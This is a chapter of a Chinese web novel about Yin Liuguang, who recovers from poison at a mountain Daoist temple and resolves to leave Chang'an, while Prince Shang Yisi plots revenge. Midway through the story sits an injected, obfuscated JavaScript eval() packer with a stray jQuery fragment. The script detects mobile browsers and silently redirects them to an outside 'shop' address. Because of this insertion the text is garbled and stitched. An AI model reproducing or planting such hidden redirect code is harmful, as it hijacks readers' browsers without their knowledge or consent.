45. 第 46 章
作品:《大王,封口费交一下》 房中安静了片刻,殷流光忽然笑了。
她以手支颐,瞧着商遗思:“好啊。”
“殿下是要做大事的人,我怎么敢以私情动摇殿下的心。”她伸了个懒腰:“殿下说了这么多,无非只有一句话,你我今生绝无可能。”
她嗤笑一声:“只不过,殿下也真是想多了。”
她转头看向商遗思,上上下下将他那张如玉雕的脸扫了个遍。
“我的确有点儿喜欢殿下,但不过是爱慕你这张皮囊,整个长安城里最俊俏的公子哥,都不及殿下有风味。”
“原本只是想着若是帮殿下做这么多事,有朝一日能与殿下春风一度,也算是不枉此生,但既然殿下觉得我碍眼了,我往后自然不会再出现在殿下面前。”
她答应得干脆利落,仿佛在谈论别人的事,素白的脸上没什么血色,瞳仁里却一派倔强。
这不就是他想要的最好的结局么,为何看到殷流光这般模样,他心中的五脏六腑都像是被狠狠搅动了一般,窒息感铺天盖地,几乎让他喘不过气。
商遗思仓促地站起身,又恢复了往日里那么冷淡的模样,背对着殷流光道:“如此,最好不过。”
殷流光咳了几声,又道:“只是毕竟苏胥给我下毒是为了威胁我害你,殿下打算怎么处置他?”
商遗思道:“人已经带来道观了,他对你下毒手,本王自然不会轻饶他。”
……
青雾山与凝华山不同,凝华山宽而缓,青雾山高而陡,常年云雾缭绕,如同避世仙境。
殷流光立在一处峭石边,瞧着远处风景。
“我这小道观不比皇家道观,建在最陡峭贫瘠的背阴之处,连松树都长得比别处矮小些,娘子这是在瞧什么,瞧得这样入迷?”
一个年轻含笑的声音传来,殷流光循声转身,便瞧见个穿着青色道袍的年轻男子,他生了双脉脉含情的桃花眼,道士的衣裳穿在他身上,比锦衣华服还夺人心神。
殷流光道:“哦,那边有猴子打架,我路过忍不住多看了几眼。”
道士愣了下,忍不住哈哈大笑起来,而后眼风一扫,桃花眼轻眯,笑道:“若是我没看错,方才是娘子扔了手中糕点过去,引得它们争来争去吧。”
他走过来,扫了眼殷流光手中半块玉露团:“这玉露团是晋王殿下特意命默玄从城内快马加鞭送来的,我听说娘子爱吃点心,为何要割爱扔给猴子?”
殷流光淡淡道:“可能因为我现在已经不爱吃了吧。”她转身看向他:“道长便是这几日为我清毒的刘道长吗?”
青袍道士颔首:“正是在下,娘子是怎么认出来的?娘子醒后似乎并没有见过我。”
“我听说姑娘天赋异禀,生有神眼,难道是这双眼睛……”他微微倾身,眼睛发亮,凑近了些盯着殷流光的眼睛瞧。
“这很难吗?”殷流光有点不耐烦了:“你身上有曲水香的味道,若不是经常跟晋王见面,怎么会沾染这种气息?”
“我昏迷了一天一夜,整整十二时辰,想必你也被晋王拘着在我床榻旁守了这么久,沾染上他的气息,自然理所应当,方才你一出现,我就闻到了。”
道士表情诧异,抬起袖子仔细地嗅了嗅,疑惑地自言自语:“我怎么什么都没有闻到……”
殷流光已经被此人搅得失了赏景的兴致,转身就想走,但被道士眼疾手快地拦住。
“哎——狸珠娘子莫急,我来是有事相求,听说你在长安鬼市做生意,不知我有没有这个机会,也能跟你做一笔交易?”
“报酬嘛,好说。”
有钱不赚是傻瓜,殷流光停住脚步:“道长想做什么生意?”
“别叫我道长了,多见外,叫我鉴水好了。”鉴水笑眯眯道,正要张口说话,忽然远处传来商遗思的声音。
“刘鉴水,本王看你风疾好了不少,你家中若是知道这个好消息,定会欢欣不已吧。”
被这么一威胁,鉴水懒洋洋地叹口气,对着殷流光耸耸肩:“你说这人奇不奇怪?”
“明明是他要跟你割席做陌路人,怎么还将你看得这般紧,旁人说句话都都要被他阴阳怪气?”
殷流光眸色平静,也无所谓道:“是啊,他管得未免太宽了。”
她将剩下的半块糕也扔了出去,一只小猴子抢到,兴高采烈地抱着半块玉露团跳跃不见,她转过身,恢复了平常的神情,脸上挂着笑,笑意却不达眼底。
她跟着鉴水一同走到商遗思面前,鉴水先发问了:“殿下,你关在我后厢房里的那茶商,可审出什么结果了?”
“我这观里正缺好茶招待客人,不如你顺便让他给我这儿上供几包好茶叶来。”
商遗思置若罔闻:“你这里鲜有人至,除了我谁会来?本王不挑,山泉水即可。”他虽然跟鉴水说着话,但余光分了一抹,瞥向殷流光。
方才殷流光拿糕点喂猴子他都瞧见了,想起之前在自己府上,殷流光吃到楚媪做的点心时快活肆意的模样,不禁心中有些涩然,强逼着自己压了下去。
他收回目光,从袖中掏出一个小盒子,递给鉴水:“这是解药,你看看有没有问题。”
鉴水接了过去,点头:“我回去研究一下,若是没问题,再给狸珠娘子送来。”
“劳烦你了,鉴水。”商遗思语气很是郑重。
鉴水微愣,挠了挠头:“你怎么突然这么客气……怪不习惯的,行,我知道了,保证还你一个完好无虞的狸珠娘子。”
鉴水走后,庭中的气氛顿时沉默下来。
片刻寂静后,商遗思道:“你中毒颇深,这些日子应当静养,崖边风大,往后少去。”
“殿下关怀,流光明白了。”殷流光弯膝行礼,就如同最寻常的下属那般知进退,守礼节。
那只聪明狡黠的狐狸,最懂得自我保护,绝不会让自己受伤,所以她选择听他的话,退回她的巢穴。
商遗思敛眸颔首:“等你的毒清了,我会派默玄送你下山。往后在长安城中行走,切记莫要好奇心太重,尤其涉及东宫与长公主的事情,不要再碰。”
她点头,有些嘲讽地笑了下:“长安风大雨急,我已经感受到了,其实我这几天也在想,我到底应不应该留在长安。”
商遗思语气微顿,片刻后,他颔首:“若是能离开长安,对你来说并非坏事。”
“是啊,毕竟殷家在这里,我私逃离家,总有天可能会被殷府的下人们,或是殷流灵碰到,知意的香料铺子生意也越做越红火,前些日子她曾跟我说过,若是想再做得大些,最好是能够往西走一趟,亲自盘下一条西域的商路来。”
山中寒冷,此刻又下起细细密密的雪花,落在殷流光的雪白狐裘上。
商遗思身形微动,下意识想替她拂去,僵了片刻,隐在袖中的手终究是一动未动。
“外头风大,别站在雪里。”
他让开位置,待殷流光走上庭阶,商遗思续上方才的话头:“西域这几年算是稳定,但盛产香料的这几个小国彼此间常有摩擦,除此外那里沙盗横行,经常有商人货物被抢。”
他从腰上解下块墨色玉佩:“但你若是想去,便带着这块玉佩,去陇幽都护府,要多少护卫跟从,只管跟他讲。”
殷流光并不客气,接下了玉佩,冷不丁噗嗤一笑:“看来殿下很喜欢我啊?”
商遗思呼吸一滞,漫天风雪飘进廊下,冰冷的气息涌进鼻腔。
他不知道她是何意,刚刚听到她或许要走,此后在长安城哪怕只是在暗中悄悄看一眼她也没有可能,脑子里便有根弦蓦然崩坏。
殷流光似笑非笑,继续道:“若非如此喜欢,怎么会刚一听到我要走,就已经为我谋划了百步,若是我再在长安城待下去,殿下日日能看到我这张脸,怕是总有天会把持不住。”
她叹道:“所以,我决定了,我还是走吧,走的远远的,再也不回来。”
她望向商遗思,扬起笑:“但答应了我的千金,临走前殿下可要记得送到我的府上啊。”
……
那天夜里,鉴水来找殷流光,告诉她解药没问题。
吃下后又调养了两三天,日日喝苦的舌头麻木的药,终于在元夕前一日,鉴水为殷流光诊脉,长舒口气:“狸珠娘子,你的毒已经彻底解了。”
殷流光收回胳膊揉了揉,微笑道:“多谢鉴水道长。”
“我去了陇幽后,会记得为你寻找你说的人的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986137|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那日他所说的交易,便是听说她买卖做得广,尤其认识很多西域商人,他从前还未做道士时,游历过西域,在那里与一胡商之女生情。
后来他仓促回了中原,连句告别都来不及同她讲,他也托人寻过,却被告知那家人已经不住在原来的地方。
他听说狸珠娘子可以帮忙寻人,而且寻得极准,所以才来问她。
原本只是想托她问问她的胡商朋友,若是能找到人,就替他送件信物,也算是了却这桩前缘,但没想到殷流光竟然不日要启程前往陇幽,这下更是将希望寄托在了她身上。
鉴水拱手而拜:“那就拜托狸珠娘子了。”
他放下手,又促狭一笑:“你一走,晋王如今看着什么事也没有,背后里指不定多伤心呢。”
“怎么会?”殷流光捧着药碗,淡淡道:“殿下对我的喜欢,只是一时兴趣,要不了多久就会把我忘了的。”
鉴水摇头:“他啊,表面上看起来什么事都不在乎,其实他心里特别重感情,什么人要是走进了他心里,就一辈子都住在那里面了。”
“说句不该说的,要不是他如此重情,怎么会为情所累,弟弟妹妹死了快五年了,还是日日夜夜都放不下,非要用当个孤家寡人来惩罚自己当年没能救得了弟妹。”
烛火微摇,殷流光沉默片刻,瞧着那摇曳的烛火莞尔一笑:“是么?那跟晋王殿下正相反,我恰恰是个最不看重感情的人。”
“这世上比情重要的东西,太多了,我只要有很多很多的金银财宝,做个无忧无虑的快活神仙,哪怕一辈子没有所谓的情也可以。”
她说得决绝,但鉴水的笑容却变幻莫测,桃花眼仿佛透过她的身躯,看穿了她全部的内心:“如果你真的能做到那样,那么倒是比我更要适合做个道士了。”
第二日元夕,鉴水走进东厢房的时候,瞧见商遗思站在书桌前,正在看信。
他倚靠着门道:“怎么?宝华楼之事了结了?”
商遗思看完,将信折起放在火烛上慢慢烧了:“太子将人证都护在东宫里,呈上的奏折里更是证据齐全,圣人震怒,责令长公主闭门思过,长公主一党但凡上书为她求情的,都贬的贬,斥的斥。”
“哎呦我这可是茅草盖的房子,稍不留神就烧起来了,你小心点!”鉴水急急上前从商遗思手中夺去烧了一半的信,拿到门外烧成灰才端着烛台进来,放回原位。
他继续道:“这下太子可威风了,这几年跟长公主打擂台,他也就斗赢这么一次,要不是靠着你,真不知道他这太子还能当多久。”
他啧啧两声,见商遗思又蘸了墨提笔写回信,大约是给在京城的家臣写信部署之后的事情,他忍不住叹了口气:“当时沈遥那一刀害得你旧疾发作,我累个半死才把你救回来,不知费了多少我辛苦收齐的珍稀药材,你这条命可金贵着呢,真就这么要把自己折腾进去?”
“要不你再想想?别这么极端,不行从皇族旁支里选一个培养?你当摄政王,怎么样也不会养歪。”
商遗思笔锋未停,宣纸上铁画银钩,颇有金戈铁马的气势,他平静道:“你放着长安第一公子不当要当道士的时候,我没劝过你,如今我要做的事,你也别劝我。”
“这能一样吗?!”鉴水立刻抬高了声调:“我这顶多只是背叛家族期望,你可是要颠覆……皇室啊!”最后那几个字他说的小声,又趋近商遗思,低声道:“而且把你的命赔进去,有什么用?你弟妹不会复生,族人也不会,你全家血脉断绝,最后能得到什么?”
商遗思搁下笔,挪开镇尺,吹干墨痕,将信塞进信封里。
“我死后,见到遗爱跟遗梦,可以告诉他们,害死他们的凶手,我都已经手刃,兄长……为他们报仇了。”他的喉结滚动,嗓音里透着孤绝。
“他们活着的时候,为了支持我带领族人回到长安的愿望,付出了太多,吃了很多苦,可我答应他们的都没能做到,如今他们死了,我想弥补哪怕一丁点都不能,我常常想,那日大火烧起来的时候,他们会不会恨我,恨我杀了太多人,才招致这么多怨恨业债,却要他们来还……”
他攥着信封的手暴出青筋,一字一顿:“叶家人欠我商家的,我都会一笔笔讨回来。”

